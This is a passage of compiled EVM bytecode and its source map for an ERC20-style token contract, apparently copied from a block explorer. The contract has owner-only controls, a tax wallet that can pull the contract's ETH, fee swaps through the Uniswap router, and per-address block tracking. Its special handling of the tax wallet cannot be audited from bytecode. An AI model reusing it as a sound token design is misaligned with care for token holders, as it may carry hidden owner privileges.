1561029c575f80fd5b506101af600d5481565b3480156102b1575f80fd5b505f546040516001600160a01b039091168152602001610162565b3480156102d7575f80fd5b506101af600e5481565b3480156102ec575f80fd5b50604080518082019091526005815264222aa927ab60d91b6020820152610155565b348015610319575f80fd5b5061018a61032836600461171c565b61063c565b348015610338575f80fd5b506101af600f5481565b34801561034d575f80fd5b5061021f610648565b348015610361575f80fd5b506101af61037036600461179f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a6338484610a02565b5060015b92915050565b5f6103bd6009600a6118ca565b6103cc9064174876e8006118d8565b905090565b5f6103dd848484610b26565b61042e843361042985604051806060016040528060288152602001611a6c602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110ce565b610a02565b5060019392505050565b6004546001600160a01b0316336001600160a01b031614610457575f80fd5b478061049c5760405162461bcd60e51b815260206004820152600f60248201526e27379022aa24103130b630b731b29760891b60448201526064015b60405180910390fd5b604051339082156108fc029083905f818181858888f193505050501580156104c6573d5f803e3d5ffd5b5050565b6004546001600160a01b0316336001600160a01b0316146104e9575f80fd5b305f9081526001602052604090205480156105075761050781611106565b4780156104c6576104c6816112af565b5f546001600160a01b031633146105405760405162461bcd60e51b8152600401610493906118ef565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b15760405162461bcd60e51b8152600401610493906118ef565b6105bd6009600a6118ca565b6105cc9064174876e8006118d8565b600d556105db6009600a6118ca565b6105ea9064174876e8006118d8565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061a6009600a6118ca565b6106299064174876e8006118d8565b60405190815260200160405180910390a1565b5f6103a6338484610b26565b5f546001600160a01b031633146106715760405162461bcd60e51b8152600401610493906118ef565b601154600160a01b900460ff16156106cb5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c726561647920656e61626c65640000000000006044820152606401610493565b6011805460ff60a01b1916600160a01b17905561071230737a250d5630b4cf539739df2c5dacb4c659f2488d6107036009600a6118ca565b6104299064174876e8006118d8565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610762573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107869190611924565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108099190611924565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610853573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108779190611924565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f806108d85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561093e573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610963919061193f565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af11580156109c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ec919061196a565b506011805460ff60b01b1916600160b01b179055565b6001600160a01b038316610a645760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610493565b6001600160a01b038216610ac55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610493565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b8a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610493565b6001600160a01b038216610bec5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610493565b5f8111610c4d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610493565b601154600160a81b900460ff1680610c6f5750601154600160a01b900460ff16155b15610c8457610c7f8383836112e6565b505050565b5f80546001600160a01b03858116911614801590610caf57505f546001600160a01b03848116911614155b8015610cc957506004546001600160a01b03848116911614155b15610f3157610cfa6064610cf4600a5460055411610ce957600654610ced565b6008545b8590611389565b9061140e565b6011549091506001600160a01b038581169116148015610d3757506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610d5b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e4157600d54821115610db25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610493565b600e5482610dd4856001600160a01b03165f9081526001602052604090205490565b610dde9190611989565b1115610e2c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610493565b60058054905f610e3b8361199c565b91905055505b6011546001600160a01b038481169116148015610e6757506001600160a01b0384163014155b15610e9457610e916064610cf4600b5460055411610e8757600754610ced565b6009548590611389565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610eca57506011546001600160a01b038581169116145b8015610edf5750601154600160b01b900460ff165b8015610eec5750600f5481115b8015610efb5750600c54600554115b15610f2f57610f1d610f1884610f138460105461144f565b61144f565b611106565b478015610f2d57610f2d476112af565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f6e57506001600160a01b0383165f9081526003602052604090205460ff165b8015610f8357506001600160a01b0384163014155b8015610f9857506001600160a01b0383163014155b15610fa257436014555b6001600160a01b0384165f9081526003602052604090205460ff16158015610fe257506001600160a01b0383165f9081526003602052604090205460ff16155b156110bc576011546001600160a01b03848116911614611089576001600160a01b038084165f9081526013602052604090206011549091908116908616036110515780545f0361104c57600c5460055411611047576110426001436119b4565b611049565b435b81555b611083565b6001600160a01b0385165f90815260136020526040902081541580611077575081548154105b1561108157805482555b505b506110bc565b6001600160a01b0384165f90815260136020526040902060145481546110af91906119b4565b6002820155426001909101555b6110c884848484611463565b50505050565b5f81848411156110f15760405162461bcd60e51b815260040161049391906116b9565b505f6110fd84866119b4565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061114c5761114c6119c7565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111e09190611924565b816001815181106111f3576111f36119c7565b60200260200101906001600160a01b031690816001600160a01b03168152505061123230737a250d5630b4cf539739df2c5dacb4c659f2488d84610a02565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906112719085905f908690309042906004016119db565b5f604051808303815f87803b158015611288575f80fd5b505af115801561129a573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104c6573d5f803e3d5ffd5b6001600160a01b0383165f90815260016020526040902054611308908261148d565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461133690826114ce565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b199085815260200190565b5f825f0361139857505f6103aa565b5f6113a383856118d8565b9050826113b08583611a4c565b146114075760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610493565b9392505050565b5f61140783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152c565b5f81831161145d5782611407565b50919050565b5f61146f858484611558565b9050611486858583611481878761148d565b611608565b5050505050565b5f61140783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ce565b5f806114da8385611989565b9050838110156114075760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610493565b5f818361154c5760405162461bcd60e51b815260040161049391906116b9565b505f6110fd8486611a4c565b6004545f9081906001600160a01b03908116908616036115845760125461157f9085611389565b611586565b835b9050821561160057305f908152600160205260409020546115a790846114ce565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115f79087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461162a908361148d565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461165890826114ce565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116ab9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156116e5578581018301518582016040015282016116c9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611719575f80fd5b50565b5f806040838503121561172d575f80fd5b823561173881611705565b946020939093013593505050565b5f805f60608486031215611758575f80fd5b833561176381611705565b9250602084013561177381611705565b929592945050506040919091013590565b5f60208284031215611794575f80fd5b813561140781611705565b5f80604083850312156117b0575f80fd5b82356117bb81611705565b915060208301356117cb81611705565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561182457815f190482111561180a5761180a6117d6565b8085161561181757918102915b93841c93908002906117ef565b509250929050565b5f8261183a575060016103aa565b8161184657505f6103aa565b816001811461185c576002811461186657611882565b60019150506103aa565b60ff841115611877576118776117d6565b50506001821b6103aa565b5060208310610133831016604e8410600b84101617156118a5575081810a6103aa565b6118af83836117ea565b805f19048211156118c2576118c26117d6565b029392505050565b5f61140760ff84168361182c565b80820281158282048414176103aa576103aa6117d6565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611934575f80fd5b815161140781611705565b5f805f60608486031215611951575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561197a575f80fd5b81518015158114611407575f80fd5b808201808211156103aa576103aa6117d6565b5f600182016119ad576119ad6117d6565b5060010190565b818103818111156103aa576103aa6117d6565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a2b5784516001600160a01b031683529383019391830191600101611a06565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a6657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206be478d8dae9e7db689e0cc35c50e5b72fcb2aecc222169f452dcab61319482364736f6c63430008170033

Deployed Bytecode Sourcemap

3580:10104:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5614:83;;;;;;;;;;-1:-1:-1;5684:5:0;;;;;;;;;;;;-1:-1:-1;;;5684:5:0;;;;5614:83;;;;;;;:::i;:::-;;;;;;;;6447:161;;;;;;;;;;-1:-1:-1;6447:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6447:161:0;1023:187:1;4633:54:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4633:54:0;1215:177:1;5891:95:0;;;;;;;;;;;;;:::i;6616:335::-;;;;;;;;;;-1:-1:-1;6616:335:0;;;;;:::i;:::-;;:::i;5800:83::-;;;;;;;;;;-1:-1:-1;5800:83:0;;4234:1;2000:36:1;;1988:2;1973:18;5800:83:0;1858:184:1;13394:250:0;;;;;;;;;;;;;:::i;:::-;;13037:349;;;;;;;;;;;;;:::i;5994:119::-;;;;;;;;;;-1:-1:-1;5994:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6087:18:0;6060:7;6087:18;;;:9;:18;;;;;;;5994:119;2661:148;;;;;;;;;;;;;:::i;12180:160::-;;;;;;;;;;;;;:::i;4438:56::-;;;;;;;;;;;;;;;;2447:79;;;;;;;;;;-1:-1:-1;2485:7:0;2512:6;2447:79;;-1:-1:-1;;;;;2512:6:0;;;2445:51:1;;2433:2;2418:18;2447:79:0;2299:203:1;4501:58:0;;;;;;;;;;;;;;;;5705:87;;;;;;;;;;-1:-1:-1;5777:7:0;;;;;;;;;;;;-1:-1:-1;;;5777:7:0;;;;5705:87;;6121:167;;;;;;;;;;-1:-1:-1;6121:167:0;;;;;:::i;:::-;;:::i;4566:60::-;;;;;;;;;;;;;;;;12448:581;;;;;;;;;;;;;:::i;6296:143::-;;;;;;;;;;-1:-1:-1;6296:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6404:18:0;;;6377:7;6404:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6296:143;6447:161;6522:4;6539:39;181:10;6562:7;6571:6;6539:8;:39::i;:::-;-1:-1:-1;6596:4:0;6447:161;;;;;:::o;5891:95::-;5944:7;4292:13;4234:1;4292:2;:13;:::i;:::-;4277:28;;:12;:28;:::i;:::-;5964:14;;5891:95;:::o;6616:335::-;6714:4;6731:36;6741:6;6749:9;6760:6;6731:9;:36::i;:::-;6778:143;6801:6;181:10;6822:88;6860:6;6822:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6822:19:0;;;;;;:11;:19;;;;;;;;181:10;6822:33;;;;;;;;;;:37;:88::i;:::-;6778:8;:143::i;:::-;-1:-1:-1;6939:4:0;6616:335;;;;;:::o;13394:250::-;13466:10;;-1:-1:-1;;;;;13466:10:0;181;-1:-1:-1;;;;;13450:26:0;;13442:35;;;;;;13509:21;13549:14;13541:42;;;;-1:-1:-1;;;13541:42:0;;4784:2:1;13541:42:0;;;4766:21:1;4823:2;4803:18;;;4796:30;-1:-1:-1;;;4842:18:1;;;4835:45;4897:18;;13541:42:0;;;;;;;;;13594;;181:10;;13594:42;;;;;13625:10;;13594:42;;;;13625:10;181;13594:42;;;;;;;;;;;;;;;;;;;;;13431:213;13394:250::o;13037:349::-;13101:10;;-1:-1:-1;;;;;13101:10:0;181;-1:-1:-1;;;;;13087:24:0;;13079:33;;;;;;13162:4;13123:20;6087:18;;;:9;:18;;;;;;13182:14;;13179:74;;13211:30;13228:12;13211:16;:30::i;:::-;13282:21;13317:12;;13314:65;;13343:24;13356:10;13343:12;:24::i;2661:148::-;2574:6;;-1:-1:-1;;;;;2574:6:0;181:10;2574:22;2566:67;;;;-1:-1:-1;;;2566:67:0;;;;;;;:::i;:::-;2768:1:::1;2752:6:::0;;2731:40:::1;::::0;-1:-1:-1;;;;;2752:6:0;;::::1;::::0;2731:40:::1;::::0;2768:1;;2731:40:::1;2799:1;2782:19:::0;;-1:-1:-1;;;;;;2782:19:0::1;::::0;;2661:148::o;12180:160::-;2574:6;;-1:-1:-1;;;;;2574:6:0;181:10;2574:22;2566:67;;;;-1:-1:-1;;;2566:67:0;;;;;;;:::i;:::-;4292:13:::1;4234:1;4292:2;:13;:::i;:::-;4277:28;::::0;:12:::1;:28;:::i;:::-;12235:12;:21:::0;4292:13:::1;4234:1;4292:2;:13;:::i;:::-;4277:28;::::0;:12:::1;:28;:::i;:::-;12267:14;:22:::0;12305:27:::1;4292:13;4234:1;4292:2;:13;:::i;:::-;4277:28;::::0;:12:::1;:28;:::i;:::-;12305:27;::::0;1361:25:1;;;1349:2;1334:18;12305:27:0::1;;;;;;;12180:160::o:0;6121:167::-;6199:4;6216:42;181:10;6240:9;6251:6;6216:9;:42::i;12448:581::-;2574:6;;-1:-1:-1;;;;;2574:6:0;181:10;2574:22;2566:67;;;;-1:-1:-1;;;2566:67:0;;;;;;;:::i;:::-;12512:11:::1;::::0;-1:-1:-1;;;12512:11:0;::::1;;;12511:12;12503:51;;;::::0;-1:-1:-1;;;12503:51:0;;5489:2:1;12503:51:0::1;::::0;::::1;5471:21:1::0;5528:2;5508:18;;;5501:30;5567:28;5547:18;;;5540:56;5613:18;;12503:51:0::1;5287:350:1::0;12503:51:0::1;12565:11;:18:::0;;-1:-1:-1;;;;12565:18:0::1;-1:-1:-1::0;;;12565:18:0::1;::::0;;12594:57:::1;12611:4;4773:42;4292:13;4234:1;4292:2;:13;:::i;:::-;4277:28;::::0;:12:::1;:28;:::i;12594:57::-;4773:42;-1:-1:-1::0;;;;;12696:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12678:55:0::1;;12742:4;4773:42;-1:-1:-1::0;;;;;12748:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12678:93;::::0;-1:-1:-1;;;;;;12678:93:0::1;::::0;;;;;;-1:-1:-1;;;;;6128:15:1;;;12678:93:0::1;::::0;::::1;6110:34:1::0;6180:15;;6160:18;;;6153:43;6045:18;;12678:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12662:13;:109:::0;;-1:-1:-1;;;;;;12662:109:0::1;-1:-1:-1::0;;;;;12662:109:0;;;::::1;::::0;;;::::1;::::0;;12852:4:::1;-1:-1:-1::0;6087:18:0;;;-1:-1:-1;6087:18:0;;;;;;4773:42:::1;::::0;12782:31:::1;::::0;12821:21:::1;::::0;12852:4;12883:1:::1;12885::::0;12887:7:::1;2485::::0;2512:6;-1:-1:-1;;;;;2512:6:0;;2447:79;12887:7:::1;12782:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12782:129:0;;;-1:-1:-1;;;;;6566:15:1;;;12782:129:0::1;::::0;::::1;6548:34:1::0;6598:18;;;6591:34;;;;6641:18;;;6634:34;;;;6684:18;;;6677:34;6748:15;;;6727:19;;;6720:44;12895:15:0::1;6780:19:1::0;;;6773:35;6482:19;;12782:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12929:13:0::1;::::0;12922:71:::1;::::0;-1:-1:-1;;;12922:71:0;;4773:42:::1;12922:71;::::0;::::1;7304:51:1::0;-1:-1:-1;;7371:18:1;;;7364:34;-1:-1:-1;;;;;12929:13:0;;::::1;::::0;-1:-1:-1;12922:29:0::1;::::0;7277:18:1;;12922:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13004:11:0::1;:17:::0;;-1:-1:-1;;;;13004:17:0::1;-1:-1:-1::0;;;13004:17:0::1;::::0;;12448:581::o;6959:335::-;-1:-1:-1;;;;;7052:19:0;;7044:68;;;;-1:-1:-1;;;7044:68:0;;7893:2:1;7044:68:0;;;7875:21:1;7932:2;7912:18;;;7905:30;7971:34;7951:18;;;7944:62;-1:-1:-1;;;8022:18:1;;;8015:34;8066:19;;7044:68:0;7691:400:1;7044:68:0;-1:-1:-1;;;;;7131:21:0;;7123:68;;;;-1:-1:-1;;;7123:68:0;;8298:2:1;7123:68:0;;;8280:21:1;8337:2;8317:18;;;8310:30;8376:34;8356:18;;;8349:62;-1:-1:-1;;;8427:18:1;;;8420:32;8469:19;;7123:68:0;8096:398:1;7123:68:0;-1:-1:-1;;;;;7202:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7254:32;;1361:25:1;;;7254:32:0;;1334:18:1;7254:32:0;;;;;;;;6959:335;;;:::o;7563:3029::-;-1:-1:-1;;;;;7656:18:0;;7648:68;;;;-1:-1:-1;;;7648:68:0;;8701:2:1;7648:68:0;;;8683:21:1;8740:2;8720:18;;;8713:30;8779:34;8759:18;;;8752:62;-1:-1:-1;;;8830:18:1;;;8823:35;8875:19;;7648:68:0;8499:401:1;7648:68:0;-1:-1:-1;;;;;7735:16:0;;7727:64;;;;-1:-1:-1;;;7727:64:0;;9107:2:1;7727:64:0;;;9089:21:1;9146:2;9126:18;;;9119:30;9185:34;9165:18;;;9158:62;-1:-1:-1;;;9236:18:1;;;9229:33;9279:19;;7727:64:0;8905:399:1;7727:64:0;7824:1;7810:11;:15;7802:69;;;;-1:-1:-1;;;7802:69:0;;9511:2:1;7802:69:0;;;9493:21:1;9550:2;9530:18;;;9523:30;9589:34;9569:18;;;9562:62;-1:-1:-1;;;9640:18:1;;;9633:39;9689:19;;7802:69:0;9309:405:1;7802:69:0;7886:6;;-1:-1:-1;;;7886:6:0;;;;;:22;;-1:-1:-1;7897:11:0;;-1:-1:-1;;;7897:11:0;;;;7896:12;7886:22;7882:113;;;7925:37;7940:4;7946:2;7950:11;7925:14;:37::i;:::-;7563:3029;;;:::o;7882:113::-;8007:17;2512:6;;-1:-1:-1;;;;;8041:15:0;;;2512:6;;8041:15;;;;:32;;-1:-1:-1;2485:7:0;2512:6;-1:-1:-1;;;;;8060:13:0;;;2512:6;;8060:13;;8041:32;:52;;;;-1:-1:-1;8083:10:0;;-1:-1:-1;;;;;8077:16:0;;;8083:10;;8077:16;;8041:52;8037:1349;;;8122:123;8241:3;8122:96;8169:15;;8157:9;;:27;8156:61;;8203:14;;8156:61;;;8188:12;;8156:61;8122:11;;:33;:96::i;:::-;:118;;:123::i;:::-;8274:13;;8110:135;;-1:-1:-1;;;;;;8266:21:0;;;8274:13;;8266:21;:55;;;;-1:-1:-1;;;;;;8291:30:0;;4773:42;8291:30;;8266:55;:73;;;;-1:-1:-1;;;;;;8328:11:0;;;;;;:7;:11;;;;;;;;8326:13;8266:73;8262:309;;;8383:12;;8368:11;:27;;8360:65;;;;-1:-1:-1;;;8360:65:0;;9921:2:1;8360:65:0;;;9903:21:1;9960:2;9940:18;;;9933:30;9999:27;9979:18;;;9972:55;10044:18;;8360:65:0;9719:349:1;8360:65:0;8481:14;;8468:11;8452:13;8462:2;-1:-1:-1;;;;;6087:18:0;6060:7;6087:18;;;:9;:18;;;;;;;5994:119;8452:13;:27;;;;:::i;:::-;:43;;8444:81;;;;-1:-1:-1;;;8444:81:0;;10405:2:1;8444:81:0;;;10387:21:1;10444:2;10424:18;;;10417:30;10483:28;10463:18;;;10456:56;10529:18;;8444:81:0;10203:350:1;8444:81:0;8544:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8262:309;8594:13;;-1:-1:-1;;;;;8590:17:0;;;8594:13;;8590:17;:41;;;;-1:-1:-1;;;;;;8611:20:0;;8626:4;8611:20;;8590:41;8587:225;;;8664:132;8792:3;8664:101;8713:16;;8703:9;;:26;8702:62;;8749:15;;8702:62;;;8733:13;;8664:11;;:37;:101::i;:132::-;8652:144;;8587:225;8877:4;8828:28;6087:18;;;:9;:18;;;;;;8904:6;;-1:-1:-1;;;8904:6:0;;;;8903:7;:46;;;;-1:-1:-1;8936:13:0;;-1:-1:-1;;;;;8931:18:0;;;8936:13;;8931:18;8903:46;:61;;;;-1:-1:-1;8953:11:0;;-1:-1:-1;;;8953:11:0;;;;8903:61;:103;;;;;8989:17;;8968:20;:38;8903:103;:154;;;;;9039:18;;9027:9;;:30;8903:154;8898:477;;;9092:74;9109:56;9113:11;9126:38;9130:20;9152:11;;9126:3;:38::i;:::-;9109:3;:56::i;:::-;9092:16;:74::i;:::-;9214:21;9258:22;;9254:106;;9305:35;9318:21;9305:12;:35::i;:::-;9073:302;8898:477;8095:1291;8037:1349;-1:-1:-1;;;;;9402:13:0;;;;;;:7;:13;;;;;;;;;:28;;-1:-1:-1;;;;;;9419:11:0;;;;;;:7;:11;;;;;;;;9402:28;9401:68;;;;-1:-1:-1;;;;;;9449:20:0;;9464:4;9449:20;;9401:68;:89;;;;-1:-1:-1;;;;;;9472:18:0;;9485:4;9472:18;;9401:89;9398:154;;;9528:12;9508:17;:32;9398:154;-1:-1:-1;;;;;9583:13:0;;;;;;:7;:13;;;;;;;;9581:15;:31;;;;-1:-1:-1;;;;;;9601:11:0;;;;;;:7;:11;;;;;;;;9599:13;9581:31;9564:960;;;9648:13;;-1:-1:-1;;;;;9642:19:0;;;9648:13;;9642:19;9638:875;;-1:-1:-1;;;;;9716:13:0;;;9683:30;9716:13;;;:9;:13;;;;;9760;;9716;;9760;;;9752:21;;;;9748:513;;9802:16;;;:21;9798:158;;9880:18;;9870:9;;:28;:62;;9916:16;9931:1;9916:12;:16;:::i;:::-;9870:62;;;9901:12;9870:62;9851:81;;9798:158;9748:513;;;-1:-1:-1;;;;;10041:15:0;;10004:34;10041:15;;;:9;:15;;;;;10085:16;;:20;;10083:66;;-1:-1:-1;10133:16:0;;10110:20;;:39;10083:66;10079:163;;;10198:20;;10179:39;;10079:163;9981:280;9748:513;9664:612;9638:875;;;-1:-1:-1;;;;;10338:15:0;;10301:34;10338:15;;;:9;:15;;;;;10421:17;;10400:20;;:38;;10421:17;10400:38;:::i;:::-;10372:25;;;:66;10482:15;10457:22;;;;:40;9638:875;10536:48;10551:4;10557:2;10561:11;10574:9;10536:14;:48::i;:::-;7637:2955;7563:3029;;;:::o;1302:190::-;1388:7;1424:12;1416:6;;;;1408:29;;;;-1:-1:-1;;;1408:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1448:9:0;1460:5;1464:1;1460;:5;:::i;:::-;1448:17;1302:190;-1:-1:-1;;;;;1302:190:0:o;11690:482::-;5262:6;:13;;-1:-1:-1;;;;5262:13:0;-1:-1:-1;;;5262:13:0;;;11791:16:::1;::::0;;11805:1:::1;11791:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11791:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11791:16:0::1;11767:40;;11836:4;11818;11823:1;11818:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;11818:23:0::1;;;-1:-1:-1::0;;;;;11818:23:0::1;;;::::0;::::1;4773:42;-1:-1:-1::0;;;;;11862:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11852:4;11857:1;11852:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1::0;;;;;11852:32:0::1;;;-1:-1:-1::0;;;;;11852:32:0::1;;;::::0;::::1;11895:62;11912:4;4773:42;11945:11;11895:8;:62::i;:::-;11968:196;::::0;-1:-1:-1;;;11968:196:0;;4773:42:::1;::::0;11968:66:::1;::::0;:196:::1;::::0;12049:11;;12075:1:::1;::::0;12091:4;;12118::::1;::::0;12138:15:::1;::::0;11968:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5298:6:0;:14;;-1:-1:-1;;;;5298:14:0;;;-1:-1:-1;;;;11690:482:0:o;12348:92::-;12405:10;;:27;;-1:-1:-1;;;;;12405:10:0;;;;:27;;;;;12425:6;;12405:10;:27;:10;:27;12425:6;12405:10;:27;;;;;;;;;;;;;;;;;;;7302:253;-1:-1:-1;;;;;7411:15:0;;;;;;:9;:15;;;;;;:32;;7431:11;7411:19;:32::i;:::-;-1:-1:-1;;;;;7393:15:0;;;;;;;:9;:15;;;;;;:50;;;;7470:13;;;;;;;:30;;7488:11;7470:17;:30::i;:::-;-1:-1:-1;;;;;7454:13:0;;;;;;;:9;:13;;;;;;;:46;;;;7516:31;;;;;;;;;;7535:11;1361:25:1;;1349:2;1334:18;;1215:177;1500:283:0;1558:7;1582:1;1587;1582:6;1578:47;;-1:-1:-1;1612:1:0;1605:8;;1578:47;1635:9;1647:5;1651:1;1647;:5;:::i;:::-;1635:17;-1:-1:-1;1694:1:0;1685:5;1689:1;1635:17;1685:5;:::i;:::-;:10;1663:93;;;;-1:-1:-1;;;1663:93:0;;12504:2:1;1663:93:0;;;12486:21:1;12543:2;12523:18;;;12516:30;12582:34;12562:18;;;12555:62;-1:-1:-1;;;12633:18:1;;;12626:31;12674:19;;1663:93:0;12302:397:1;1663:93:0;1774:1;1500:283;-1:-1:-1;;;1500:283:0:o;1791:132::-;1849:7;1876:39;1880:1;1883;1876:39;;;;;;;;;;;;;;;;;:3;:39::i;11577:105::-;11634:7;11664:1;11660;:5;11659:15;;11673:1;11659:15;;;-1:-1:-1;11669:1:0;11577:105;-1:-1:-1;11577:105:0:o;10600:259::-;10710:15;10728:46;10746:4;10751:11;10764:9;10728:17;:46::i;:::-;10710:64;-1:-1:-1;10785:66:0;10805:4;10811:2;10710:64;10824:26;:11;10840:9;10824:15;:26::i;:::-;10785:19;:66::i;:::-;10699:160;10600:259;;;;:::o;1158:136::-;1216:7;1243:43;1247:1;1250;1243:43;;;;;;;;;;;;;;;;;:3;:43::i;971:179::-;1029:7;;1061:5;1065:1;1061;:5;:::i;:::-;1049:17;;1090:1;1085;:6;;1077:46;;;;-1:-1:-1;;;1077:46:0;;12906:2:1;1077:46:0;;;12888:21:1;12945:2;12925:18;;;12918:30;12984:29;12964:18;;;12957:57;13031:18;;1077:46:0;12704:351:1;1931:189:0;2017:7;2052:12;2045:5;2037:28;;;;-1